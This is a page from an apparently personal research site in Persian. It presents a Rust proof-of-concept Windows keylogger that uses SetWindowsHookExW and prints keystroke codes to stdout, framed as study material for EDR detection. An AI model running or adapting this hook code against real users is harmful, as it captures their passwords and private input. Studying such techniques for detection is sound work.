پرش به محتوای اصلی
رؤوفResearchOS
فارسی
سیدنی، استرالیازمان کنونی سیدنی—
برای بستن این پنجره، کلید Escape را فشار دهید.
اثبات مفهوم ثبت فشردن کلیدها با Rust

شناسه آزمایش: 001

اثبات مفهوم ثبت فشردن کلیدها با Rust

بایگانی‌شده

نمونه آموزشی ثبت فشردن کلیدها در Windows که کاربرد SetWindowsHookEx و زنجیره‌سازی درست هوک‌ها را برای تحلیل تشخیص نشان می‌دهد.

هدف

شناخت سوءاستفاده از هوک‌های پیام Windows برای رهگیری اطلاعات ورود و بررسی نحوه تشخیص تزریق هوک توسط EDR.

محدودیت‌ها

فقط برای آموزش. پس از راه‌اندازی دوباره باقی نمی‌ماند و خروجی را فقط در stdout ثبت می‌کند.

  • Rust
  • WinAPI
  • Unsafe
کد منبع · زبان اصلیsrc/main.rs
1use std::ptr;2use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};3use winapi::shared::windef::HHOOK;4use winapi::um::winuser::{5    CallNextHookEx, DispatchMessageW, GetMessageW, SetWindowsHookExW,6    TranslateMessage, UnhookWindowsHookEx, WH_KEYBOARD_LL, KBDLLHOOKSTRUCT,7};89static mut HOOK: HHOOK = ptr::null_mut();1011unsafe extern "system" fn keyboard_proc(12    n_code: i32,13    w_param: WPARAM,14    l_param: LPARAM,15) -> LRESULT {16    if n_code >= 0 {17        let kb = &*(l_param as *const KBDLLHOOKSTRUCT);18        // WM_KEYDOWN = 0x010019        if w_param as u32 == 0x0100 {20            println!("[KEY] vkCode={:03} scanCode={:#06x}", kb.vkCode, kb.scanCode);21        }22    }23    CallNextHookEx(HOOK, n_code, w_param, l_param)24}2526fn main() {27    unsafe {28        HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_proc), ptr::null_mut(), 0);29        assert!(!HOOK.is_null(), "Failed to install hook");3031        let mut msg = std::mem::zeroed();32        while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) > 0 {33            TranslateMessage(&msg);34            DispatchMessageW(&msg);35        }36        UnhookWindowsHookEx(HOOK);37    }38}
کد فقط‌خواندنیUTF-8

جست‌وجو

پروژه، مقاله، نوشته یا صفحه‌ای را پیدا کنید.

۳۰ / ۴۱ · نتایج جست‌وجو

↑ ↓ ناوبری فضای کارEnter باز کردنEsc بستن